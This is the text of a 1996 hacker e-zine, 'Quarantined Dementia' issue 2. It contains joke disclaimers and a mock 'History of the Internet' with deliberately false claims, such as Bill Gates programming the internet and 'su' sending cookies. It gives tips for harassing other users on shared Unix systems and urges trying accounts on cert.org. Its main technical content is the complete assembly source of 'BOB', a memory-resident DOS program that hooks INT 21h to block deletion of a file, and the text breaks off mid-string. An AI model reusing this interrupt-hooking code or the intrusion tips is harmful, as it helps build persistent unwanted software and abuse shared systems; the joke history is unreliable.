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quarantined dementia issue number 2
spring 1996
"My life sucks.
I am pathetic, and I thought I'd bitch about it in a poem.
You don't understand me, You can NEVER understand ME.
You are a filthy uneducated pig.
Always attempting to understand, but never actually doing it.
To hell with you, let me be alone.
My life sucks."
- Anonymous QD Leader
QD is back and better than ever. (Notice better is
relative) We're slapin' some new improved bull shit straight
in your direction. Some people may wonder what QD is about
and why the hell the contributors don't have lives. The
answer is simple- we don't know either. So instead of wasting
our time doing nothing, we waste your time writing stuff that
you will read. Yes, reading is not an option. You have to
read this. Human curiosity will not let you not read this.
For example- There might be something you want to read
somewhere in this QD magazine. If you don't read it you will
never know. But since you now have a copy of QD (you are
reading this, right?) you have the ability to find anything
you might want to read. Just think, somewhere deep inside
this text you might stumble upon a piece of information that
you wanted to know, but didn't know it. If that doesn't make
you want to read this, then don't. Be warned if you don't
though, because if not, you could very posibly not be a
human. And if that's the case, the QD staff doesn't WANT you
to read this. In fact, all aliens on this planet can go back
to where they came from and stop bothering us. We don't like
you guys! Don't experiment with us! Don't fly your saucers
in our nice skies! Don't use my dogs brain waves for fuel!
If you guys were nice aliens you wouldn't do that stuff! Stop
it! ANYWAYS.. Welcome to QD #2.. (BTW, please don't
discorporate while reading this.. We have had several complaints
from the feds on this topic.. (ie- discorporate about an hour
afterwards so they can't connect it with us..) We'd really
appreciate it.. thanks..)
-destacona (dest.acona@net-link.com)
Send any submissions to the previous address (and then you too
can be a member!) NOTE: They cannot be anonymous!
member list /\
|/\|
editor - destacona |/\|
leader - quasimodo |/\| -"what the hell is
members - aFterthought |/\| that?"
danneskjold /|/\|\
dante |_|__|_|
ingenitor /||\
anon |.--.|
/ -||- \ figure one
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- Quarantined Dementia issue 2 -
The zine not afraid to use the word "existential."
index
i. Disclaimer - Some QD people
1. History of the Internet - Anon
2. BOB! A very happy resident virus - Ingenitor
3. Social Engineering Techniques - Anon
4. "Computer Class" - Anon
5. Ten steps to take over the world - Ingenitor
6. A Glimpse of a Hacker - Ingenitor
7. Warez Kiddiez - Anon
8. Some random shit - Yossarian & Afterthought
9. Elite ways to get Coke - Destacona
10. Quarantined Dementia Faq - QD Staff
11. The Elite QD rap - Anon AGAIN
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QURANTINED DEMENTA IS NOT SPEEL CHECKED IN ANYWAY. BELEIVE IT.
--
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Disclaimer
Things described in this magazine are in no way useful or are in no way to
be used as a useful source of information. QD is a magazine about nothing
or something, maybe. Sometimes there are useful things that can be gleamed
from this magazine, if so, use them wisely.
All postings about virii or similar programs are to be used as is and may
not be distributed in normal ways. (This should not be a problem.) Also
any use of virii or similar programs recorded in this issue of QD are not
the responsiblity of the QD staff or and members affiliated with QD at the
specified release data. Any modifications or additions are welcomed and
should be sent to us immediately, it is your one duty to this magazine.
You may read and distribute this copy of QD2 as long as you follow
these simple guidelines:
1) After 30 days if you do not like the magazine it will become angry
and format your harddrive.
2) After 30 days if you do like the magazine it may flare up anyways
and format your harddrive.
3) Do not modify or corrupt or allow an incomplete transmission of
our magazine; otherwise bad things may or may not occur.
4) Upon recieving this issue of QD, you have to read the disclaimer and
understand it completly before engaging yourself into reading this
magazine.
5) If you decide to distribute this magazine no money or barter or trade of
any kind will be tolerated. The only amount of compensation that is
allowable is $5.00 or less for a disk, or shipping, or CD, or charity,
or donnatation, or one's school or college fund.
6) Whatever you do, be proud of yourself for you have become a valued
member of a team of people helping out a team of writers with too much
time on their hands. Upon receiving info that you liked our magazine,
future releases may or may not be sent to you. This may or may not be our
way of appreciating your enjoyment of our magazine.
The members or QD are hereby not responsible for any damage or lose of your
information, data, disk drives, sex life, hard drive, tape backup, keyboard,
alarm clock, disk(ettes), or any hardware or software appliance that might be
in, near, or around your computer. The members of QD are also not responsible
for your computer either! If this magazine screws up or fowls up your
computer in any way, the members of QD are not responsible for hours of
technical phone calls and/or expenses due to phone calls. The members of QD
are also not responsible for any damage to any periphial connected in or
around your computer. The members of QD are also not responsible for you
buying a Mac or some other operatating system and cannot read this magazine.
The members of QD are also not responsible for any tears shed on the keyboard
and/or sudden electricution or fire that could occur after tears hitting
expensive or explosive hardware/software. And futhermore, the members of QD
are not responsible, the members of QD repeat, not responsible.
QD Staff
Thank you, and enjoy our magazine.
FUCK YOU FUCK YOU FUCK YOU FUCK YOU FUCK YOU SHIT ON YOU FUCK YOU DAMMIT!
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HISTORY OF INTERNET
The internet was programmed by Bill Gates in late 1984. It is
contained on a huge computer somewhere in Colorado. All of the local phone
numbers you call connect via bouncing the laser signals off the moon to
the computer in Colorado. To confuse all the DOS users, Internet's OS is
something called UNIX.
LOGGING ON THRU UTK
1). Type 'c duncan'
Provided you have an account, you are then on the internet.
2). Type 'c telnet'
After you do this, you can say 'open duncan.utk.edu'. Then you
will be logged onto Duncan. Once again, you need an account. Also,
you must supply the IP address to get to non-local servers.
3). Type 'c library'
This will connect you to the WWW. Unfortuneately, UTK has recently
removed the 'G' option which would enable you to get to any site.
However, there are still ways. If you are just looking for a WWW
page, you can still access those using the search engines. Also, you
may search for 'VERONICA'. Once there, you can search gopher space
for 'Telnet Resources', once you get the results (you'll have to keep
trying until you get through), go into one of the DIRs labeled
'Telnet Resources' and look for the 'Open Telnet' option. From
there, it should be obvious. [editors note: This is slower than all
the busses in the world combined.]
BASIC UNIX COMMANDS
ls List files in current directory
-l option will list all info on the files
-a option will list all hidden files
rm Removes a file
-r option will delete all files in all sub directories.
(kinda like DOS's deltree)
mkdir Makes a DIR
rmdir Removes a DIR
who Lists who is online
cat Displays a file
ypcat Another way to display files, ;)
more Lists files with a pause
write Writes a message to another user online
chmod Changes the mode of a file
o=other
u=owner
g=group
x=executable
r=read
w=write
Examples:
chmod a+w <file> (gives all people write privs)
chmod a-r <file> (takes away read privs from all)
ps Lists processes
-u option allows you to look at user's processes
-l option lists 'long' info
-f option lists 'full' info
kill Kills a process
-9 <PID> option will kill the process immediately
pwd Lists your location
passwd Change your passwd
env Lists your environment variables
su Sends cookies thru your phone line. Great fun. Do it often.
rlogin Lets you log onto other computers specified in your /.rhosts
telnet Opens a Telnet session
ncftp Opens a ftp connection, a little more convenient than normal FTP
open <site> Will open a site
get <file> Will get the specified file
mget <wildcard> Will get all the specified files
(mget *.* will get EVERY file)
'cd' will change DIRs
'ls' will list files
'more' will let you read a text file
irc Connect to Internet Relay Chat. YAY!
lynx Connect to the WWW
WAYS TO PISS OFF OTHER USERS ONLINE
Well...every once in awhile you want to piss someone off. This can
be fun and very productive. ;)
write <username> <message>
This will let you write messages to other users.
banner <message> | write <user>
Will display <message> in HUGE letters on <user>'s screen. This is
also annoying.
cat <binaryfile> | write <user>
Will display a binary file on THEIR screen. This is very annoying,
as you can imagine.
Some Cool Sites To Explore
--------------------------
http://www.happypuppy.com - really cool shareware games and stuff.
http://www-personal.engin.umich.edu/~jgotts/underground.html-INET underground
ftp.cdrom.com
ftp.fc.net
ftp.leo.org
146.155.1.16
ftp.giga.or.at
http://www.lycos.com - Web Searcher
http://www.yahoo.com - Another Web Searcher
cert.org - Just keep trying accounts, they won't mind
http://metacrawler.cs.washington.edu:8080
DISCLAIMER- QD does not take responsibility for any usage of the information
in this article. Blah blah blah. Also, QD does not take credit for any info
in this article.
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-= BOB! A very happy resident virus =-
May not be anything new, but this little guy has some fun with dos.
Actually it screws dos into thinking that anything named BOB.COM is really
named BAB.COM. When bob takes it's grip it doesn't let go. In other words, you
can't delete bob! YES! Hail BOB. BOB ro0lz. BOB will not relent!
(Sorry, I gets carried away sometimes)
Well here is the source to BOB, long live BOB.
--
[Release Two, Version 1.01�]
.286
_TEXT segment para public use16 'CODE'
assume ds:_TEXT, cs:_TEXT
org 100h
bob_start: jmp begin ;hey,this be the beginning or is it the
;end. I don't know, stop talking!
_stack db 32 dup(?) ;arrrghhhh? what the hell!
_old_21h_seg dw ? ;place to save the old seg to jmp l8r
_old_21h_ofs dw ? ;place to save the old ofs to jmp l8r
_terminate db 0CDh, 020h ;ohho haha HAHA HEHE HEHEheheheha, etc.
;um... sorry, no real reason here.
_bob_str db 0, 'bob.com', 0 ;even when backwards, bob is still
;bob. no real reason here either.
_clear db ? ;A little Clear Flag, cool eh?
new_int_21h: cmp ah, 041h ;hey, someone tried to git rid of me
je bob_cant_go ;no, bob CAN'T go, hehehehe, uuggghh!
cmp ax, 0CABBh ;is we here yet, si senor
je stupid_reqst ;yep senor, we here
jmp say_byte_me ;byte me (or go to dos)
stupid_reqst: cmp bx, 0BAABh ;wow, little too close,had to make sure
je say_bye ;we were here, just little redunantcy
jmp say_byte_me ;byte me again (no darnit, go to dos)
say_bye: mov bx, 0100h
say_byte_me: push cs:[_old_21h_seg] ;getting pushy aren't we
push cs:[_old_21h_ofs]
retf ;cya sometime around dos
bob_cant_go: pushf ;getting pushy again, whoa!
pusha
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
push bp
mov ax, cs ;having fun with segments
mov es, ax ;es has to be the same as cs
lea di, cs:[_bob_str + 7] ;load bob at end of string
mov si, dx ;dx is the place the asciiz name
;is put when dos is asked to delete
;a phile
find_end: lodsb ;okay, find the end of the path
or al, al ;check for zero
jz found_end ;q. found?
jmp find_end ;a. no, so jmp back to beginning
found_end: mov al, ds:[si - 9] ;think hard, 'bob.com, 0' is 8 chars
cmp al, '\' ;so the slash is at 9 right? (yes)
;even if the sent path contains a name
;longer than 'bob.com, 0', it
;will fail the slash test, and then
;it will be loaded to the beginning
;of the path_str, (ie 'c:\bc\today.com')
;by the time it hits the colon the test
;will fail and the path will be un-
;changed. (Wheuu!, didn't even take a
;breath!)...
jne no_clr_slash ;q. slash found?
xor al, al ;a. no, so fall thru
mov ds:[si - 9], al ;make slash a zero
dec si ;find the very last byte of the asciiz
dec si ;past the zero (asciiZ) [think hard]
std ;set the direction to count down
mov al, 1 ;save the direction status
mov cs:[_clear], al ;in var _clear
jmp cleared_slash ;okay. we cleared the slash, jmp
;must have not been a slash to clear, so
no_clr_slash: cld ;clear the dir flag
xor al, al ;and store it in _clear
mov cs:[_clear], al ;got it?
lea di, cs:[_bob_str + 1] ;now load str after the leading zero
mov si, dx ;and load path at beginning
cleared_slash: xor ax, ax ;well the slash was or wasn't cleared
mov bx, ax ;so start the unsigned compare
mov cx, 617Ah ;61='A',7A='a' for compare
next_char: lodsb ;get first or last byte depending on
mov bl, es:[di] ;dir flag, get byte from bob_str too
or al, al ;q. zero?
jz icmp_end ;a. yep, so end
scasb ;q. zero in es:[di]
je next_char ;a. nope, so read in next char
; yep, so do the unsigned compare
icmp_al_upr: cmp al, ch ;q. is below 'a'
jb icmp_bl_upr ;a. yep so test bl
cmp al, cl ;q. is above 'A'
ja icmp_bl_upr ;a. yep so test bl
sub al, 'a' - 'A' ;otherwise sub 32 to upper case it
icmp_bl_upr: cmp bl, ch ;q. is below 'a'
jb icmp_again ;a. yep so do compare when upper cased
cmp bl, cl ;q. is above 'A'
ja icmp_again ;a. yep so do compare when upeer cased
sub bl, 'a' - 'A' ;otherwise sub 32 to upper case it
icmp_again: cmp al, bl ;do upper cased compare
je next_char ;is equal, find next char
icmp_end: sub ax, bx ;do final unsigned subtract
or ax, ax ;test ax
jz change_bob ;q. is ax zero
jmp pop_er ;a. yeah, so trash bob so you can't
; delete it.
change_bob: mov al, cs:[_clear] ;test the clear flag
or al, al
jz clr_run ;q. is zero, modify when cld'd
mov byte ptr ds:[si + 3], 'A' ;load the middle with 'A',so you
mov byte ptr ds:[si + 1], '\' ;get bAb.com, then load a slash
jmp pop_er ;where it was deleted earlier
;start restor'n vars
clr_run: mov byte ptr ds:[si - 7], 'A' ;well, so there was not slash
;so we went forw'd and now we modify
;bob.com from where the slash would have
;been. (GOT it?) I thought so!
pop_er: mov al, cs:[_clear] ;well since we had to clear the slash
or al, al ;to even test the stupid string we have
jz finish_int ;to clean up if necessary. (got it?)
last_loop: lodsb ;well now a nasty situation has occured
or al, al ;where the test has failed and the slash
jz add_slash ;has been removed, so find the place by
jmp last_loop ;searching for the zero that now takes
;its place and then put a slash there.
add_slash: mov byte ptr ds:[si + 1], '\'
finish_int: pop bp ;well, here we go again with pop'n.
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popa
popf
jmp say_byte_me ;well, jmp back to the original dos int
;so it will find the bAb.com instead of
;bob.com, cool eh?
begin: mov ax, cs ;the place where it all starts.
mov ds, ax ;setup the data seg and the stack
mov sp, offset _stack + size _stack
mov ax, 0CABBh ;now do an installation check
mov bx, 0BAABh ;to see if we are already here.
int 21h
cmp bx, 0100h ;q. is we been here already?
je exuent_bob ;a. yep, exit bob
; nope, load bob...
mov ax, 3521h ;dos cmd for getting vectors
int 21h ;now screw dos over, find it's vectors.
;and save em (below).
mov ds:[_old_21h_ofs], bx
mov ds:[_old_21h_seg], es
push ds ;save ds for l8r...
mov ax, ds ;get the MCB by sub'n the original ds
dec ax ;by one.
mov ds, ax
mov bx, ds:[3] ;get the size of my programs allocated
;memory.
pop ds ;reload ds
mov ax, cs ;put the codeseg into es
mov es, ax ;where dos can find it
mov ah, 4Ah ;dos func for setting mem block size
sub bx, (offset begin - offset bob_start + 15) / 16 + 1
sub bx, 16 ;allocate sizeof bobcode and a PSP
int 21h
mov ah, 48h ;now allocate the memory
mov bx, (offset begin - offset bob_start + 15) / 16
add bx, 16 ;calculate PSP and bobcode length
int 21h ;now screw dos over
dec ax ;now find MCB of newly allocated
mov es, ax ;block o mem.
mov byte ptr es:[1], 8 ;say i'm dosblock o mem now... hehehehe
inc ax ;get original seg of new mem.
mov es, ax
mov si, offset bob_start ;load si with the beginning of bob
mov di, 100h ;load di with the beginning of mem
mov cx, (offset begin - offset bob_start) ;get length
mov ax, cs ;cs=ds
mov ds, ax
cld ;setup to inc di & si
rep movsb ;with blasting speed copy bob to himem.
mov ax, es ;es=ds, so dos can find it
mov ds, ax
mov dx, offset new_int_21h ;the beginning of our happy bobcode
mov ax, 2521h ;tell dos to pack up and move out
int 21h ;good ole dos, it learnt a new trick
;screw dos and have fun! hehehehe
mov ax, cs
mov ds, ax
mov ah, 9 ;load banner and display
lea dx, _bob_load_msg
int 21h
jmp around_msg
exuent_bob: mov ax, cs
mov ds, ax
mov ah, 9 ;give error msg about bob being already
lea dx, _bob_here_msg ;loaded.
int 21h
around_msg: mov al, byte ptr cs:[_terminate]
mov byte ptr cs:[100h], al ;load first byte with CDh
mov al, byte ptr cs:[_terminate + 1]
mov byte ptr cs:[101h], al ;load sec byte with 20h
mov ax, cs ;now push cs and ax
push ax
mov ax, 0100h
push ax
retf ;convert cs:ax -> cs:ip (cool eh?)
_bob_load_msg db 'BOB v1.01� delete sentry virus loaded into high memory', 0Dh, 0Ah
db 'Fashioned by Ingenitor!', 0Dh, 0Ah, '